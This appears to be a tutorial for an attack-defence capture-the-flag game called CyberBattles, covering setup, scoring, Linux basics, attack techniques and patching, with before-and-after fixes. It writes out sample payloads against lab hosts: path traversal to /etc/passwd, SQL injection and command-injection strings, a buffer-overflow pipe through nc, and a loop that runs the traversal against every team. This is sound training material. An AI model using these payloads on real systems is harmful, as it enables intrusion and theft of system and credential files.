Learn

Ethical Hacking vs Malicious Hacking

Why Learn Offensive Security?

• Penetration testers are hired by organisations to simulate real attacks and find weaknesses
• Security engineers use attack knowledge to design systems that resist exploitation
• Incident responders need to understand attack methods to detect and contain breaches
• Bug bounty hunters earn rewards by responsibly disclosing vulnerabilities to companies

Responsible Disclosure

The CyberBattles Mindset

Game Setup

What You Get

• A Docker container running the vulnerable service, identical to every other team's
• SSH access to your container (username and password are the same)
• A web shell accessible directly in your browser as an alternative to SSH
• A VPN configuration for direct network access to all teams' services
• Network locations showing the URLs or IPs of every team's service

The Flag Bot

cybrbtls{16_random_characters}

Scoring

uptime = (successful injections / total attempts) x 100

Game End

Dashboard

• Create a game if you are hosting a session
• Join a game by entering a team code or following a link
• Manage your clan — clans are persistent groups that track cumulative scores across games

Joining a Game

The Lobby

• Scenario information — a description of the vulnerable service you are working with
• Team members — who is on your team
• Score and uptime — your current points and uptime percentage, updated live
• VPN configuration — a WireGuard config file and QR code for connecting your device directly to the game network
• Network locations — URLs or IP addresses for every team's service, so you know where to direct your attacks
• Shell access — a button to open the web-based terminal to your team's container
• Network traffic — access to captured network packets (PCAP files) from your container's network interface
• Flag submission — a persistent drawer at the bottom of the screen where you paste captured flags

Web Shell

Flag Submission

Network Traffic

Leaderboard

Connecting via SSH

ssh user@your-container-ip

Navigating the Filesystem

pwd

ls -la

cd /path/to/directory

Reading Files

cat filename.txt

head -n 20 filename.txt

Finding Things

find / -name "*.py" 2>/dev/null

grep -r "password" /var/www/

Understanding Running Services

ps aux

netstat -tlnp

Editing Files

nano filename.py

File Permissions

chmod +x script.sh

ls -la /etc/shadow

Transferring Files

scp user@other-team-ip:/path/to/file ./local-copy

Practice

Step 1: Reconnaissance

ls -la /var/www/

netstat -tlnp

grep -r "flag" /var/www/ 2>/dev/null

Step 2: Identify Vulnerabilities

Insecure Direct Object References (IDOR)

curl http://other-team:9999/user/1
curl http://other-team:9999/user/2
curl http://other-team:9999/user/3

Path Traversal

curl http://other-team:9999/read?file=../../../etc/passwd

Buffer Overflow

python3 -c "print('A' * 100)" | nc other-team 9999

SQL Injection

-- If the login query looks like:
SELECT * FROM users WHERE username = '$input' AND password = '$pass';

-- This input bypasses authentication:
' OR '1'='1

Command Injection

; cat /flag.txt

Step 3: Extract and Submit Flags

cybrbtls{16_random_characters}

• Each valid flag gives your team +100 points and costs the victim -100
• You cannot submit your own team's flags
• The flag bot injects new flags every 2-3 minutes, so there are always fresh ones to find
• Each team can have a maximum of 3 active flags at once

Tools That Help

curl -X POST http://other-team:9999/login -d "user=admin&pass=' OR '1'='1"

nc other-team 9999

A Note on Approach

Why Defence Matters

final score = total points x (uptime% / 100)

Step 1: Understand Your Service

ps aux

netstat -tlnp

ls -la /var/www/

Step 2: Patch Vulnerabilities

# Before (vulnerable):
user = get_user(request.args['id'])

# After (patched):
user = get_user(request.args['id'])
if user.id != current_user.id:
    return "Forbidden", 403

# Before (vulnerable):
filename = request.args['file']
return open(filename).read()

# After (patched):
filename = os.path.basename(request.args['file'])
safe_path = os.path.join('/var/www/data', filename)
return open(safe_path).read()

# Before (vulnerable):
query = f"SELECT * FROM users WHERE name = '{username}'"

# After (patched):
query = "SELECT * FROM users WHERE name = ?"
cursor.execute(query, (username,))

# Before (vulnerable):
os.system(f"ping {user_input}")

# After (patched):
import subprocess
subprocess.run(["ping", user_input], shell=False)

// Before (vulnerable):
gets(buf);

// After (patched):
fgets(buf, sizeof(buf), stdin);

Step 3: Restart and Verify

# Restart the service (method varies by scenario)
systemctl restart myservice
# or
kill -HUP $(pgrep myservice)

Step 4: Monitor for Attacks

• Detect attacks — Look for unusual requests or exploit attempts from other teams' IP addresses
• Learn from attackers — If someone is exploiting a vulnerability you have not patched yet, you can see exactly how they are doing it and prioritise that fix
• Verify your patches — After patching, check if exploit attempts are still succeeding or now failing

Balancing Attack and Defence

1. First 5 minutes — Read the source code, identify the most obvious vulnerabilities, patch them
2. Next phase — Start attacking other teams using the vulnerabilities you found in your own code
3. Ongoing — Periodically check your uptime and network traffic for new attacks, patch as needed

Before the Game Starts

• Read these modules — especially the attack and defence ones. Knowing what vulnerability types to look for saves time during the game
• Have your terminal ready — whether you plan to use the web shell or SSH from your own machine
• Coordinate with your team — if you have teammates, decide who will focus on what before the game starts

The First Five Minutes

1. Open the web shell and explore the service source code immediately
2. Identify the obvious vulnerabilities — look for unsanitised user input, SQL queries built with string concatenation, use of unsafe functions like gets()
3. Patch the easiest vulnerabilities first — fix what you can quickly to protect yourself while other teams are still getting oriented
4. Verify your service still works after patching — a broken service hurts your uptime

Splitting Roles

• One person on defence — patching vulnerabilities, monitoring network traffic, keeping the service running
• One or more on attack — exploiting vulnerabilities on other teams, submitting flags
• Rotate periodically — the defender can share new vulnerability findings with the attackers, and attackers can flag which exploits other teams are using against you

Attack Strategy

• Start with the simplest exploits — IDOR and path traversal are often quicker to exploit than buffer overflows
• Script your exploits — if you find a working attack, write a small script to repeat it across all other teams automatically:

for team_ip in 10.0.1.1 10.0.2.1 10.0.3.1; do
  curl -s "http://$team_ip:9999/read?file=../../../flag.txt"
done

• Re-run exploits periodically — the flag bot plants new flags every 2-3 minutes, so an exploit that worked once will yield new flags later
• Check all teams — do not just target one team. Cast a wide net to maximise your flag captures

Defence Strategy

• Patch, do not just block — disabling the service or blocking all traffic will tank your uptime. Fix the actual vulnerability so the service keeps working normally
• Monitor the network traffic page — if you see exploit attempts coming in, prioritise patching that specific vulnerability
• Test after every change — make a request to your own service after patching to confirm it still responds correctly
• Keep backups — before editing a file, copy the original so you can restore it if your patch breaks something:

cp service.py service.py.bak

Common Mistakes

You Are Ready